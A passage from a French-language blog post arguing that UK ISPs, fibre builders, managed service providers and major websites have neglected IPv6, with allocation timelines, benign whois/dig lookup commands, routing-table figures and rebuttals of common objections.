n\u0026rsquo;en a besoin d\u0026rsquo;aucune.\nCette année-là la Belgique avait la plus haute adoption d\u0026rsquo;IPv6 au monde à 49 %, quand la Grande-Bretagne et la France étaient à 14 % et l\u0026rsquo;Espagne et l\u0026rsquo;Italie sous 1 %. La Belgique est encore troisième dans la table de pays ci-dessus, à 72,8 %.\nC\u0026rsquo;est ça la demande. Pas « vous ne pouvez pas partager d\u0026rsquo;adresses » — vous ne pouvez pas vendre une connexion qui est à la fois non attribuable et sans IPv6. Adressage partagé à côté d\u0026rsquo;un IPv6 qui marche, c\u0026rsquo;est bien. C\u0026rsquo;est comme ça que chaque réseau mobile de la terre opère. Adressage partagé sans IPv6, c\u0026rsquo;est vendre un service cassé et facturer au public les conséquences.\nSky a prouvé que c\u0026rsquo;était faisable, il y a onze ans Si c\u0026rsquo;était vraiment dur, personne au Royaume-Uni n\u0026rsquo;y serait arrivé.\nSky a démarré un projet IPv6 interne début 2013 et a fini en 2016, avec environ 90 % de sa base de ligne fixe — environ cinq millions d\u0026rsquo;utilisateurs — recevant IPv6 et l\u0026rsquo;utilisant. Leur ingénieur a tout écrit sur RIPE Labs : 6PE à travers le cœur MPLS, peering et transit à double pile, attributs RADIUS pour l\u0026rsquo;activer par abonné, travail de firmware sur sept modèles de CPE dont cinq anciens, et mises à niveau de capacité sur RADIUS et DNS.\nTrois ans, un FAI, et le même cuivre Openreach que tous les autres vendaient dessus. ISPreview a rapporté la fin en septembre 2016, Sky attendant 95 % de sa base pour la fin de cette année-là, et Sky a pris le Jim Bound IPv6 Award pour ça.\nLeur conseil était : « Do not underestimate the work required to enable IPv6, and do not leave it to the last minute to begin the journey » — ne sous-estimez pas le travail requis pour activer IPv6, et ne laissez pas le voyage à la dernière minute.\nOnze ans plus tard, l\u0026rsquo;essentiel de l\u0026rsquo;industrie est encore à la dernière minute, et la traite comme un endroit où vivre.\nTout le monde a les adresses depuis des années Sky a été le premier des grands FAI. Il était loin d\u0026rsquo;être le premier du pays, et pas un fournisseur de cette liste ne peut dire qu\u0026rsquo;il attendait le registre.\nRIPE estampe la date d\u0026rsquo;allocation dans le nom du bloc, donc vous pouvez vérifier n\u0026rsquo;importe lequel vous-même :\nwhois -h whois.ripe.net 2a01:4b00::/32 | grep -E \u0026#39;netname|^org:\u0026#39; # netname: UK-BCUBE-20110225 -\u0026gt; Hyperoptic, allocated 25 February 2011 Chaque date ci-dessous vient de cette recherche contre la propre allocation du fournisseur, recoupée contre le fichier de délégation. Les grands FAI sont en gras, le reste sont les bâtisseurs de fibre complète. Que les clients obtiennent réellement IPv6 vient de l\u0026rsquo;enquête d\u0026rsquo;ISPreview telle que mise à jour en mars 2025, et du traqueur mobile pour les réseaux de téléphonie.\nDepuis quand chaque fournisseur britannique détient IPv6, et si les clients l'ont Depuis quand chaque fournisseur britannique détient IPv6 — et si les clients l'ont Dates d'allocation du fichier de délégation RIPE et de ses estampilles netname. S'il atteint les clients : ISPreview, mars 2025, et le traqueur mobile communautaire. les clients l'ont en partie — un réseau toujours pas livré (17 sur 40) 2002 2002 2006 2006 2010 2010 2014 2014 2018 2018 2022 2022 2026 2026 TalkTalk (sous Opal Telecom) Andrews \u0026amp; Arnold Vodafone UK EE (sous T-Mobile) Sky Gigaclear O2 (Telefónica UK) BT Virgin Media (sous NTL) KCOM Hyperoptic (sous Bcube) Zen Internet B4RN Trooli (sous Call Flow) Exascale Three UK Community Fibre Ogi (sous NetSupport) WightFibre Truespeed Airband G.Network Wessex Internet Quickline FibreNest Wildanet Fibrus (sous B4B Networks) Zzoomm GoFibre (sous Borderlink) Toob Netomnia / YouFibre Pine Media BeFibre Squirrel Internet brsk Lit Fibre (sous Broadreach) iDNET * Grain Hey! Broadband Octaplus Chacun des quarante détient de l'espace IPv6 depuis au moins trois ans, la plupart depuis plus d'une décennie. 17 d'entre eux ne le donnent toujours pas à un client. Quarante fournisseurs britanniques, ordonnés par la date où le registre leur a donné IPv6. Chaque barre court de cette allocation à aujourd\u0026rsquo;hui. Les barres bleues le livrent aux clients ; les roses ne l\u0026rsquo;ont jamais fait. Quarante fournisseurs. Chacun détient de l\u0026rsquo;espace IPv6 depuis au moins trois ans, la plupart depuis plus d\u0026rsquo;une décennie — et dix-sept d\u0026rsquo;entre eux ne le donnent toujours pas à un client.\nHyperoptic détient 2a01:4b00::/32 depuis février 2011. Quinze ans à bâtir de la fibre dans des immeubles, à vendre des connexions gigabit, et à mettre des gens derrière un NAT à l\u0026rsquo;échelle opérateur avec une allocation IPv6 inutilisée dans les livres. Trooli a le sien depuis treize ans. Truespeed et Airband depuis dix.\nAndrews \u0026amp; Arnold est celui contre qui tenir les autres. Un petit FAI à Bracknell avec une fraction des clients et des ingénieurs de tout autre sur cette liste, donnant IPv6 à chaque ligne depuis 2002, et l\u0026rsquo;une des structures derrière 6UK. TalkTalk a pris son allocation trois mois plus tôt et ne le livre toujours pas aux particuliers.\nVirgin Media a pris son bloc trois semaines avant que Zen ne prenne le sien. Zen l\u0026rsquo;a livré, et je suis au bout d\u0026rsquo;un de leurs /48 depuis. Virgin dit encore « quand nous serons prêts ».\nEt regardez le bas de la table. Squirrel, brsk, Lit Fibre et Octaplus ont tous obtenu leurs allocations dans les six dernières années et livrent tous IPv6, tandis que des fournisseurs détenant de l\u0026rsquo;espace depuis 2011 ne le font pas. Commencer tard n\u0026rsquo;est pas l\u0026rsquo;obstacle. Commencer tout court l\u0026rsquo;est.\nDeux noms de cette enquête ne sont pas dans le graphique, et la raison est la même pour les deux. Cuckoo est une marque de détail achetant de l\u0026rsquo;accès de gros sur Openreach, CityFibre et d\u0026rsquo;autres, et Freedom Fibre est un réseau de gros dont les clients viennent par des partenaires de détail. Ni l\u0026rsquo;un ni l\u0026rsquo;autre ne détient son propre espace d\u0026rsquo;adressage, donc IPv6 est la décision de quelqu\u0026rsquo;un d\u0026rsquo;autre à prendre pour eux. iDNET est marqué d\u0026rsquo;un astérisque parce que le sien est une assignation indépendante du fournisseur plutôt qu\u0026rsquo;une allocation en propre.\nCelui qui tranche Si vous voulez l\u0026rsquo;argument réduit à une seule entreprise, c\u0026rsquo;est Plusnet.\nBT a acheté Plusnet en janvier 2007. Plusnet siège sous le propre compte RIPE de British Telecommunications, donc il a accès à l\u0026rsquo;allocation IPv6 de BT depuis juin 2010. BT livre IPv6. EE, l\u0026rsquo;autre entreprise sœur, livre IPv6. ISPreview a noté que BT et Plusnet utilisent même des routeurs clients presque identiques, qualifiant l\u0026rsquo;écart de « somewhat of a peculiarity » — quelque peu une curiosité.\nPlusnet a testé IPv6 en 2011 et a publiquement pressé le reste de l\u0026rsquo;industrie de s\u0026rsquo;y mettre. En 2019 il a dit qu\u0026rsquo;il lancerait au printemps 2020. En 2021 il attendait « to make good progress over the coming year » — de faire de bons progrès dans l\u0026rsquo;année à venir. En novembre 2023 il a mené un essai de trois mois sur deux sites à Chesterfield et Sheffield, avec une vingtaine de salariés et de clients amicaux dessus.\nEn avril 2026 son propre forum client demandait encore où IPv6 en était.\nUne maison mère. Une allocation d\u0026rsquo;adresses. Du matériel presque identique. Des ingénieurs qui travaillent pour le même groupe et peuvent descendre le couloir vers les gens qui l\u0026rsquo;ont déjà fait. Trois marques, et l\u0026rsquo;une d\u0026rsquo;elles ne peut pas gérer en quinze ans ce que les deux autres ont fini.\nQuoi qui arrête ça, ce n\u0026rsquo;est pas la technologie, l\u0026rsquo;argent, le matériel, ou l\u0026rsquo;espace d\u0026rsquo;adressage. C\u0026rsquo;est quelqu\u0026rsquo;un décidant que ce n\u0026rsquo;est pas son problème ce trimestre, quinze ans de suite.\nVirgin Media, seize ans de « quand nous serons prêts » L\u0026rsquo;autre bout de l\u0026rsquo;échelle mérite d\u0026rsquo;être nommé, parce que la chronologie est de notoriété publique et elle est remarquable.\nMars 2010 : un client demande sur le propre forum de Virgin Media quand IPv6 arrive. La réponse est « quand nous serons prêts ».\nNovembre 2016 : Virgin dit à ISPreview qu\u0026rsquo;il prévoit d\u0026rsquo;adopter IPv6 pour mi-2017. Il ne le fait pas.\nJuin 2018 : un essai grand public est rapporté. Décembre 2018 : une troisième présentation au UK IPv6 Council, laissant entendre 2019.\n2021 : une déclaration qu\u0026rsquo;ils « continuing to plan our IPV6 deployment having tested several solutions and intend to introduce IPV6 for our customers in future » — continuent de planifier leur déploiement IPv6 ayant testé plusieurs solutions et comptent introduire IPv6 pour leurs clients à l\u0026rsquo;avenir.\nFévrier 2024 : Virgin Media verrouille le fil de forum vieux de quatorze ans.\nAoût 2026 : toujours rien.\nSeize ans. Dans ce temps l\u0026rsquo;entreprise a été achetée, fusionnée avec O2, a reconstruit son cœur deux fois et remplacé tout son parc de routeurs. À aucun moment personne n\u0026rsquo;a ajouté une famille d\u0026rsquo;adresses. Verrouiller le fil est la chose la plus honnête de cette liste. C\u0026rsquo;est le moment où ils ont cessé de faire semblant et se sont mis à gérer la plainte au lieu du problème.\nLes altnets n\u0026rsquo;avaient aucune excuse du tout Les bâtisseurs de fibre complète étaient la chance de partir propre. Nouveaux réseaux, nouveau matériel, pas d\u0026rsquo;héritage, des ingénieurs embauchés cette décennie. Regardez où ils siègent dans la table d\u0026rsquo;allocation et la plupart ont pris l\u0026rsquo;espace d\u0026rsquo;adressage et se sont arrêtés.\nDonc une entreprise qui a levé de l\u0026rsquo;argent institutionnel pour bâtir un tout nouveau réseau de fibre a creusé les routes, soufflé de la fibre vers cent mille foyers, acheté de nouveaux routeurs, écrit une nouvelle pile de provisionnement. Et a mis ses clients derrière une adresse partagée sur un réseau sans IPv6, en 2026, avec l\u0026rsquo;espace d\u0026rsquo;adressage déjà posé dans son propre compte de registre.\nEt puis plusieurs d\u0026rsquo;entre eux facturent 5 £ par mois pour une IPv4 publique statique.\nIls ont retiré la chose qui marchait, refusé de livrer le remplacement gratuit, et transformé la casse qui en résulte en une ligne sur votre facture. Il y a un mot pour un modèle d\u0026rsquo;affaires qui fabrique un défaut puis vend le correctif, et ce n\u0026rsquo;est pas « innovation ».\nLes sites web vendent la mèche La table de routage montre ce que les réseaux font. Le DNS montre ce que tous les autres font. Donc le 27 août 2026 j\u0026rsquo;ai mis cinquante des sites britanniques les plus connus dans un fichier — administration centrale, les banques, les grands détaillants, les télécoms, les transports et quelques universités — et j\u0026rsquo;ai demandé à chacun s\u0026rsquo;il répond en IPv6 :\nwhile read -r d; do n=$(dig +short AAAA \u0026#34;$d\u0026#34; | grep -c \u0026#39;:\u0026#39;) printf \u0026#39;%-46s %s\\n\u0026#39; \u0026#34;$d\u0026#34; \u0026#34;$([ \u0026#34;$n\u0026#34; -gt 0 ] \u0026amp;\u0026amp; echo AAAA || echo none)\u0026#34; done \u0026lt; sites.txt | sort -k2 Puis j\u0026rsquo;ai vérifié chaque réponse contre un second résolveur, parce qu\u0026rsquo;un serveur récursif ayant une mauvaise journée n\u0026rsquo;est pas une conclusion :\ndig @1.1.1.1 +short AAAA www.tesco.com | grep -c \u0026#39;:\u0026#39; Dix-sept sur cinquante avaient un enregistrement AAAA. Trente-trois n\u0026rsquo;en avaient pas, et les deux résolveurs étaient d\u0026rsquo;accord sur chacun.\nCeux sans IPv6 incluent www.bbc.co.uk, www.nhs.uk, www.hmrc.gov.uk, www.hsbc.co.uk, www.barclays.co.uk, www.lloydsbank.com, www.santander.co.uk, www.tesco.com, www.johnlewis.com, www.marksandspencer.com, www.britishairways.com, tfl.gov.uk, monzo.com — une banque fondée en 2015, sans aucun héritage — et, mon préféré, www.sky.com.\nSky. L\u0026rsquo;entreprise qui a mis cinq millions de clients sur IPv6 et gagné un prix pour ça. Son propre site web ne répond pas en IPv6.\nMaintenant le morceau qui prouve la thèse au-delà de toute discussion.\nQuinze des dix-sept qui ont bien IPv6 l\u0026rsquo;ont eu d\u0026rsquo;un fournisseur, pas d\u0026rsquo;eux-mêmes. J\u0026rsquo;ai résolu chacun et cherché qui possède l\u0026rsquo;adresse qui a répondu :\nwhois -h whois.radb.net -- \u0026#34;$(dig +short AAAA www.sainsburys.co.uk | grep \u0026#39;:\u0026#39; | head -1)\u0026#34; | grep -i descr www.gov.uk et www.cam.ac.uk répondent depuis Fastly. ico.org.uk, www.parliament.uk, www.ofcom.org.uk, www.asda.com, www.autotrader.co.uk, www.nationalrail.co.uk et www.jisc.ac.uk répondent depuis Cloudflare, qui allume IPv6 pour tout le monde par défaut. natwest.com et nationwide.co.uk répondent depuis Azure Front Door. www.legalandgeneral.com et www.screwfix.com répondent depuis CloudFront. www.sainsburys.co.uk et www.next.co.uk répondent depuis Akamai.\nDeux l\u0026rsquo;ont fait eux-mêmes : Imperial College London, répondant depuis son propre espace d\u0026rsquo;adressage, et le propre site web du UK IPv6 Council. Une université et les gens dont tout le but est IPv6. C\u0026rsquo;est ça la liste.\nEt www.tesco.com, www.sky.com et www.nhs.uk siègent aussi sur Akamai — le même CDN, le même produit — et n\u0026rsquo;ont aucun IPv6 du tout.\nAkamai est explicite là-dessus depuis juin 2022 : « Akamai has enabled IPv4+IPv6 dual-stack as the default for our CDN delivery products for many years, meaning that customers have needed to opt-out for content to be IPv4-only » — Akamai a activé la double pile IPv4+IPv6 par défaut pour ses produits de livraison CDN depuis de nombreuses années, ce qui veut dire que les clients ont dû se désinscrire pour que le contenu soit uniquement IPv4. Ils ont ajouté qu\u0026rsquo;ils ont rendu le changement facile, y compris par l\u0026rsquo;API.\nMême fournisseur. Même plateforme. Activé par défaut. Une organisation l\u0026rsquo;a laissé tranquille et une autre est entrée et l\u0026rsquo;a éteint, ou a gardé une config ancienne que personne n\u0026rsquo;a lue depuis. Sainsbury\u0026rsquo;s a IPv6 et Tesco non, et la différence entre eux est un seul drapeau de configuration et l\u0026rsquo;attention de quelqu\u0026rsquo;un.\nAprès ça il ne reste debout aucun argument de coût et aucun argument de complexité. Il ne reste que de savoir si quelqu\u0026rsquo;un faisait attention.\nSur tout l\u0026rsquo;échantillon la règle tient : là où IPv6 arrive comme le défaut d\u0026rsquo;un fournisseur, la Grande-Bretagne l\u0026rsquo;a. Là où une organisation britannique aurait eu à décider quelque chose, elle ne l\u0026rsquo;a pas. Deux sites sur cinquante, et l\u0026rsquo;un de ceux-là était le IPv6 Council.\nCe qui nous amène à l\u0026rsquo;industrie du service géré Les FAI grand public reçoivent le blâme pour le CGNAT, et ils l\u0026rsquo;ont mérité. Mais la couche qui fait le plus de dégâts est celle qui vend l\u0026rsquo;expertise : les prestataires de services gérés, les intégrateurs, les équipes réseau externalisées, les cabinets de conseil qui écrivent la conception de bas niveau.\nRevenez à la liste des plus grands réseaux britanniques sans IPv6 — les banques, British Airways, PwC, QinetiQ. Ce ne sont pas des jeunes pousses débrouillardes. Ce sont des structures qui paient beaucoup d\u0026rsquo;argent pour que quelqu\u0026rsquo;un d\u0026rsquo;autre fasse tourner leur réseau, ou emploient une grande équipe pour le faire elles-mêmes. Chacun de ces numéros d\u0026rsquo;AS a un document de conception derrière, un processus de changement, un comité de revue d\u0026rsquo;architecture, et un fournisseur avec « réseau » dans son nom. Pas un d\u0026rsquo;entre eux n\u0026rsquo;a produit un plan IPv6.\nLe schéma est le même partout où on le regarde :\nLe gabarit est IPv4. La norme de construction, le jeu de règles de pare-feu, les contrôles de surveillance, l\u0026rsquo;IPAM, le runbook, le plan de reprise, le dossier de passation client — tout IPv4, écrit une fois, cloné pendant une décennie. Ajouter une famille d\u0026rsquo;adresses veut dire tout éditer, et personne n\u0026rsquo;est payé pour l\u0026rsquo;éditer.\nPersonne ne l\u0026rsquo;a demandé. C\u0026rsquo;est la phrase qui met fin à chaque conversation IPv6 dans cette industrie, et c\u0026rsquo;est un aveu. Personne n\u0026rsquo;a demandé TLS 1.3 non plus. Personne ne vous a demandé de cesser d\u0026rsquo;utiliser SMBv1. Les clients achètent le résultat et vous paient pour savoir ce que le résultat exige. « Le client n\u0026rsquo;a pas demandé » veut dire « je ne veux pas l\u0026rsquo;apprendre et ils ne peuvent pas le dire ».\nLe RFC 1918 semble infini. Le dix-point, c\u0026rsquo;est 16,7 millions d\u0026rsquo;adresses, donc un réseau interne ne semble jamais court, donc il n\u0026rsquo;y a jamais d\u0026rsquo;événement déclencheur. Puis la fusion arrive, les deux parcs sont sur 10.0.0.0/8, et la réponse est une décennie de plus de NAT de sous-réseaux chevauchants et un document expliquant quelle fausse adresse veut dire quelle vraie — plus de machinerie, encore, pour éviter la famille d\u0026rsquo;adresses qui en aurait fait un non-problème.\nIPv6 expose la compétence. C\u0026rsquo;est la vraie. La double pile ne vous laisse pas vous cacher.\nVous devez savoir ce qu\u0026rsquo;est réellement votre politique de pare-feu, parce que vous devez l\u0026rsquo;écrire deux fois. Vous devez savoir à quoi ressemble votre DNS. Vous devez comprendre la découverte de voisins, la délégation de préfixe, et ce que votre CPE fait d\u0026rsquo;un /56.\nUn ingénieur qui s\u0026rsquo;est débrouillé avec le NAT comme contrôle de sécurité accidentel découvre, devant des gens, qu\u0026rsquo;il n\u0026rsquo;en a jamais été un. Il y a des carrières de vingt ans dans cette industrie bâties sur cette seule confusion.\nDonc ce n\u0026rsquo;est pas proposé. Pas parce que ça coûte de l\u0026rsquo;argent — ce n\u0026rsquo;est pas le cas — mais parce que le proposer veut dire le posséder, et le posséder veut dire l\u0026rsquo;apprendre.\nC\u0026rsquo;est ce que j\u0026rsquo;entends par fainéant jusqu\u0026rsquo;à l\u0026rsquo;os. Pas paresseux au sens de ne pas travailler dur. Cette industrie travaille extrêmement dur. Elle travaille dur au NAT à l\u0026rsquo;échelle opérateur, et à expliquer à un client pourquoi sa vidéosurveillance ne se connectera plus de l\u0026rsquo;extérieur. Elle fera n\u0026rsquo;importe quelle quantité de travail, tant que le travail est du genre qu\u0026rsquo;on peut acheter plutôt que du genre qu\u0026rsquo;on doit comprendre.\nEt ça va cesser d\u0026rsquo;être affaire de goût. Le Cyber Security and Resilience Bill qui passe maintenant au Parlement amenderait les NIS Regulations pour tirer, entre autres, les « managed service providers (organisations that provide third-party IT services to other businesses) » — prestataires de services gérés (organisations fournissant des services informatiques tiers à d\u0026rsquo;autres entreprises). Ce n\u0026rsquo;est pas encore la loi. Quand ce le sera, la détection, la journalisation et le signalement d\u0026rsquo;incident cessent d\u0026rsquo;être des gammes de produits que cette couche vend et deviennent des devoirs qu\u0026rsquo;elle doit remplir.\nMettez ça à côté de la chaîne plus haut. Résoudre tout signalement d\u0026rsquo;abus commence par un serveur distant ayant journalisé un port source, et le serveur distant est très souvent la boîte d\u0026rsquo;une de ces structures. Les gens qui devront bientôt prouver qu\u0026rsquo;ils peuvent détecter et signaler un incident sont les mêmes qui ne peuvent présentement pas être amenés à activer une famille d\u0026rsquo;adresses, ou à lire une capture de paquets quand un tunnel ne veut pas monter.\nLes trois excuses Vous entendrez les mêmes trois à chaque fois, et aucune ne tient une minute.\n« La double pile, c\u0026rsquo;est deux de tout. » Je l\u0026rsquo;ai fait tourner en production chez Nominet, sur des répartiteurs de charge F5 devant le registre .uk, donc je sais ce que vaut l\u0026rsquo;objection. Le niveau NAT que vous avez acheté à la place aussi, et celui-là siège dans le chemin du trafic avec une table de session, un modèle de capacité, une histoire de bascule et une obligation de journalisation attachée. Vous ne choisissiez jamais entre complexité et simplicité. Vous avez choisi la complexité qui venait avec une facture.\n« Le matériel ne le supporte pas. » En 2006, admettons. En 2026 ça veut dire que votre matériel est hors support, ce qui est une pire chose à admettre que celle que vous essayiez d\u0026rsquo;éviter de dire.\n« Il n\u0026rsquo;y a pas de revenu dedans. » Il n\u0026rsquo;y a pas de revenu dans les sauvegardes non plus.\nLes choses que les gens publient Les excuses ci-dessus sont ce que vous entendez en réunion. Dessous siège une couche d\u0026rsquo;affirmations techniques qui se répètent dans les fils de forum, les sections de commentaires et les réponses LinkedIn chaque fois qu\u0026rsquo;IPv6 revient, et la plupart sont fausses depuis plus d\u0026rsquo;une décennie.\nUne partie est de l\u0026rsquo;honnête confusion et une partie est une personne qui a décidé de ne pas apprendre quelque chose saisissant une raison. Dans un cas comme l\u0026rsquo;autre ça vaut de le parcourir, parce que ces affirmations font un vrai travail. C\u0026rsquo;est ce qu\u0026rsquo;un ingénieur répète à un manager qui ne peut pas les vérifier.\n« Le NAT est mon pare-feu. IPv6 met chaque appareil directement sur internet. »\nC\u0026rsquo;est la grosse et elle est à l\u0026rsquo;envers. La protection que les gens attribuent au NAT vient de ce qu\u0026rsquo;il n\u0026rsquo;y a pas de correspondance jusqu\u0026rsquo;à ce que quelque chose à l\u0026rsquo;intérieur en demande une — ce qui est un pare-feu à états, et c\u0026rsquo;est le pare-feu qui fait le travail, pas la traduction. L\u0026rsquo;IETF l\u0026rsquo;a dit dans le RFC 4864 en 2007 : ce rôle, « often marketed as a firewall, is really an arbitrary artifact » — souvent commercialisé comme un pare-feu, est vraiment un artefact arbitraire —, là où un vrai pare-feu vous donne « explicit and more comprehensive management controls » — des contrôles de gestion explicites et plus complets.\nChaque routeur IPv6 grand public est livré avec refus par défaut en entrée. Vous obtenez la même posture, d\u0026rsquo;une politique que quelqu\u0026rsquo;un a couchée sur le papier, plutôt que d\u0026rsquo;un effet de bord d\u0026rsquo;avoir manqué d\u0026rsquo;adresses. Et vous pouvez alors permettre exactement la seule chose que vous vouliez permettre, au lieu de la séance de spiritisme de redirection de ports.\nSi tout votre modèle de sécurité est « les attaquants ne peuvent pas trouver mes appareils », vous n\u0026rsquo;aviez pas de modèle de sécurité. Vous aviez du NAT.\n« IPv6 est plus lent. »\nCelle-ci mérite une réponse honnête plutôt qu\u0026rsquo;un rejet, parce que la vérité est mitigée et les gens qui la font ne sont pas simplement dans l\u0026rsquo;erreur.\nLes fournisseurs de contenu qui l\u0026rsquo;ont optimisé mesurent des gains : Facebook a rapporté des chargements de page environ 15 % plus rapides en IPv6, Akamai environ 5 % sur mobile. La mesure plus large de tout l\u0026rsquo;internet par APNIC est moins flatteuse et donne des temps d\u0026rsquo;aller-retour IPv6 marginalement plus élevés en moyenne — de l\u0026rsquo;ordre d\u0026rsquo;une milliseconde environ, et s\u0026rsquo;améliorant avec le temps.\nDonc : globalement à égalité, meilleur là où quelqu\u0026rsquo;un a fait le travail, occasionnellement un cheveu pire là où personne ne l\u0026rsquo;a fait.\nIl vaut de savoir où le coût siège réellement, parce que l\u0026rsquo;en-tête est la chose que les gens imaginent et l\u0026rsquo;en-tête n\u0026rsquo;est pas le problème.\nLes en-têtes IPv4 et IPv6, et ce que chacun coûte à un routeur Les deux en-têtes, et ce que chacun coûte à un routeur Champs à l'échelle sur 32 bits. Sources : RFC 791 (IPv4) et RFC 8200 (IPv6). travail du routeur à chaque saut clé de recherche plus large IPv4 20 octets, jusqu'à 60 avec options 031 Version IHL Type of Service Total Length Identification Flags Fragment Offset Time to Live Protocol Header Checksum Source Address Destination Address Options — variable length, 0 to 40 more bytes IPv6 40 octets, fixe. Toujours. 031 Version Traffic Class Flow Label Payload Length Next Header Hop Limit Source Address (128 bits) Destination Address (128 bits) IPv4 fait\u0026#160;recalculer au routeur la somme de contrôle à chaque saut, lire un champ de longueur avant de savoir où commence la charge, et un chemin de fragmentation. IPv6 abandonne les trois — pour une\u0026#160;clé quatre fois plus large. Les deux en-têtes côte à côte, champs dessinés à l\u0026rsquo;échelle sur 32 bits. En orange, le travail qu\u0026rsquo;un routeur doit faire à chaque saut ; en bleu, la clé de recherche plus large. Commencez par ce qu\u0026rsquo;IPv6 a retiré au routeur. IPv4 porte une somme de contrôle d\u0026rsquo;en-tête. Le Time to Live change à chaque saut, donc la somme de contrôle doit changer avec, et le RFC 6583 liste « verifying and updating the checksum » — vérifier et mettre à jour la somme de contrôle — comme une étape du processus de retransmission lui-même. IPv6 n\u0026rsquo;en a aucune. Cette étape disparaît juste.\nPuis la longueur. Un en-tête IPv4 est variable, ce qui est à quoi sert l\u0026rsquo;IHL : un routeur lit une longueur avant de savoir où commence la charge utile. Un en-tête IPv6 fait 40 octets. Toujours. Chaque champ siège à un décalage fixe et rien n\u0026rsquo;a à être calculé d\u0026rsquo;abord.\nPuis la fragmentation. Les routeurs IPv4 peuvent fragmenter en vol, ce qui est pourquoi Identification, Flags et Fragment Offset siègent dans l\u0026rsquo;en-tête tout court. Le RFC 8200 est net : « fragmentation in IPv6 is performed only by source nodes, not by routers along a packet\u0026rsquo;s delivery path » — la fragmentation en IPv6 n\u0026rsquo;est faite que par les nœuds source, pas par les routeurs le long du chemin de livraison. Donc ce chemin disparaît aussi.\nSur la seule gestion d\u0026rsquo;en-tête IPv6 est le protocole le moins cher à retransmettre. Il a été bâti pour l\u0026rsquo;être.\nLe seul endroit où il coûte plus est par route, et ça s\u0026rsquo;avère ne pas compter. La clé de recherche est passée de 32 bits à 128, donc une entrée de retransmission IPv6 est plus large et sur beaucoup de matériel prend deux emplacements matériels là où une route IPv4 en prend un. Tout le monde arrête l\u0026rsquo;argument là. Il vaut d\u0026rsquo;aller un pas plus loin, parce que la table complète est quatre fois plus petite.\nSur le vidage RIS généré à 02 h 03 UTC le 28 août 2026 il y avait 1 229 166 préfixes IPv4 dans la table de routage mondiale et 300 470 IPv6. Quatre fois plus de routes IPv4, chacune d\u0026rsquo;un quart de la largeur. Donc le stockage brut des clés arrive à égalité parfaite : 4,92 Mo contre 4,81 Mo. Maintenant appliquez la règle des deux-emplacements-par-route-IPv6 qui inquiète les gens. Une table IPv6 complète a encore besoin d\u0026rsquo;environ la moitié des entrées matérielles d\u0026rsquo;une IPv4 complète.\nEt la raison pour laquelle la table IPv4 est si grande est la pénurie elle-même. 767 543 de ces 1,2 million de routes sont des /24 — 62 % de tout l\u0026rsquo;internet IPv4 siégeant au préfixe le plus long que quiconque acceptera, parce que des blocs ont été découpés, vendus et annoncés en morceaux par qui les a achetés. Chacun d\u0026rsquo;eux est un routeur quelque part tenant une entrée dont il n\u0026rsquo;aurait pas besoin si l\u0026rsquo;espace n\u0026rsquo;avait pas manqué.\nLa table de routage IPv4 est quatre fois plus grande que celle d'IPv6 La table de routage IPv4 est quatre fois plus grande — et l'essentiel est la pénurie Préfixes distincts dans la table de routage mondiale, vidage RIPE RIS généré à 02 h 03 UTC, 28 août 2026. IPv4clé 32 bits 767 543 sont des /24 1 229 166 IPv6clé 128 bits 300 470 Quatre fois plus de routes IPv4, chacune d'un quart de la largeur — donc le stockage brut des clés est à égalité, 4,92 Mo contre 4,81 Mo. Comptez une route IPv6 comme deux entrées matérielles, comme les gens le craignent, et une table IPv6 complète a encore besoin d'environ la moitié. 62 % de la table IPv4 sont des /24\u0026#160;— des blocs découpés, vendus et annoncés en morceaux parce que l'espace a manqué. Chacun est une entrée qu'un routeur ne tiendrait pas sinon. Préfixes distincts dans la table de routage mondiale le 28 août 2026, comptés depuis le vidage RIS de RIPE. La partie pleine de la barre IPv4 est les /24 — la désagrégation que la pénurie d\u0026rsquo;adresses a forcée. Donc l\u0026rsquo;argument mémoire tourne dans le sens inverse de comment il se raconte en réunion. Porter IPv6 est moins cher sur votre FIB que porter IPv4, et ça devient moins cher chaque année où le marché du transfert tranche un /16 de plus en seize /24.\nEt les pics de CPU que les gens frappent réellement ne sont ni l\u0026rsquo;un ni l\u0026rsquo;autre. Un routeur moderne retransmet les deux familles en silicium à débit ligne. Ce qui fait mal est tout ce qui pousse un paquet hors de ce chemin vers le plan de contrôle, que le RFC 6583 appelle « a \u0026lsquo;slower\u0026rsquo; software process running on a general purpose processor » — un processus logiciel « plus lent » tournant sur un processeur généraliste. Ce processeur a été dimensionné pour les protocoles de routage. Jamais pour le trafic.\nDeux choses lui poussent des paquets. La première est les en-têtes d\u0026rsquo;extension. Ils sont une chaîne plutôt qu\u0026rsquo;un bloc fixe, donc une boîte voulant les ports de couche 4 pour une ACL ou un hachage ECMP doit parcourir une liste de longueur variable pour les trouver, et un en-tête Hop-by-Hop Options « may be examined or processed by any node along a packet\u0026rsquo;s delivery path » — peut être examiné ou traité par tout nœud le long du chemin de livraison. Sur beaucoup de matériel ça veut dire dérouté.\nLa seconde est la découverte de voisins. Un /64 couvre des milliers de milliards d\u0026rsquo;adresses qui ne seront jamais assignées, donc en scanner un met un routeur à résoudre des adresses qui n\u0026rsquo;existent pas. Le RFC 6583 existe pour ça, et l\u0026rsquo;appelle un déni de service.\nLes deux ont des réponses connues. Filtrer le Hop-by-Hop en bordure, limiter le débit de la ND, plafonner le cache de voisins. Aucune n\u0026rsquo;est une raison pour laquelle le protocole est lent. Ce sont des raisons pour lesquelles un routeur non configuré est lent, et ça pointe là où le reste de ce billet pointe.\nMaintenant pesez une milliseconde contre l\u0026rsquo;alternative que vous avez réellement déployée — une boîte de traduction à états dans le chemin de chaque connexion, tenant une table de session, qui en casse certaines carrément. Personne n\u0026rsquo;a stagné vingt ans pour une milliseconde.\n« Il y a plein d\u0026rsquo;IPv4 dans la nature, vous pouvez juste en acheter. »\nVous pouvez. C\u0026rsquo;est à quoi une pénurie ressemble. Des blocs distribués pour rien en 1990 changent maintenant de mains à environ 20 $ l\u0026rsquo;adresse, et AWS facture 43,80 $ par an pour chacune que vous utilisez.\nUn marché d\u0026rsquo;une chose ne prouve pas qu\u0026rsquo;il y en a plein. Il prouve que quelqu\u0026rsquo;un a compris comment vous facturer la pénurie.\nPersonne n\u0026rsquo;allait jamais les y obliger Le Royaume-Uni n\u0026rsquo;a aucune politique là-dessus, et n\u0026rsquo;en a jamais eu.\nIl y a eu une tentative. 6UK a été monté en 2010 avec 20 000 £ d\u0026rsquo;argent d\u0026rsquo;amorçage du Department for Business, Innovation and Skills, soutenu par Vint Cerf, avec LINX, AAISP, Timico et Easynet derrière. En décembre 2012 ses administrateurs bénévoles ont démissionné à l\u0026rsquo;assemblée générale, personne ne s\u0026rsquo;est présenté au conseil, et il a été dissous. Son verdict d\u0026rsquo;adieu : les incitations du marché libre sont insuffisantes, « one factor 